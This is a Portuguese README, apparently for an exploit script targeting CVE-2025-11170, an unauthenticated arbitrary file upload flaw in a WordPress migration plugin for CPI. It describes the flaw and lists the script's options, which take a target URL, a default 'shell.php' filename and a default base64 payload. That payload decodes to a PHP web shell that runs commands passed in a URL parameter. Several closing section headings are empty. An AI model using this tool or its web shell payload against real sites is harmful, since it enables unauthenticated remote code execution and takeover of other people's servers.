CVE-2025-11170

WP移行専用プラグイン for CPI <= 1.0.2 - Upload de Arquivo Arbitrário não Autenticado

🚀 WP移行専用プラグイン for CPI <= 1.0.2 - Upload de Arquivo Arbitrário não Autenticado

📝 Descrição

O plugin WP移行専用プラグイン for CPI para WordPress é vulnerável a uploads de arquivos arbitrários devido à falta de validação de tipo de arquivo na função Cpiwm_Import_Controller::import em todas as versões até, e incluindo, a 1.0.2.
Isso permite que atacantes não autenticados realizem upload de arquivos arbitrários no servidor do site afetado, possibilitando potencialmente a execução remota de código.

🛡️ Detalhes da Vulnerabilidade

CVE: CVE-2025-11170
Pontuação CVSS: 9.8 (Crítico)
Vetor de Ataque: Upload remoto de arquivo não autenticado

⚡ Informações do Script

Nome do Script:

Argumento	Descrição
`-u`, `--url`	URL base do alvo (ex.: `http://target.com/wordpress/`). O script anexa `wp-admin/admin-ajax.php` automaticamente.
`-f`, `--filename`	Nome do shell ou arquivo para fazer upload. Padrão: `shell.php`
`-d`, `--data`	Conteúdo do arquivo em base64 (ou texto puro). Padrão: `PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+`
`-i`, `--index`	Valor do campo index. Padrão: `0`
`-H`, `--headers`	Cabeçalhos HTTP extras (formato: `X-Key:Value;K2:Value2`)
`-t`, `--timeout`	Tempo limite para requisição HTTP (segundos). Padrão: `10`
`--retries`	Número de tentativas de repetição. Padrão: `3`
`--backoff`	Fator de espera entre tentativas (segundos). Padrão: `0.7`
`-v`, `--verbose`	Aumentar verbosidade para depuração (repetível)

CVE-2025-11170

Mais Populares

🔧 Uso

Argumentos

🚦 Métodos Explicados

💡 Exemplo de Uso

🚨 Aviso Legal

📢 Contato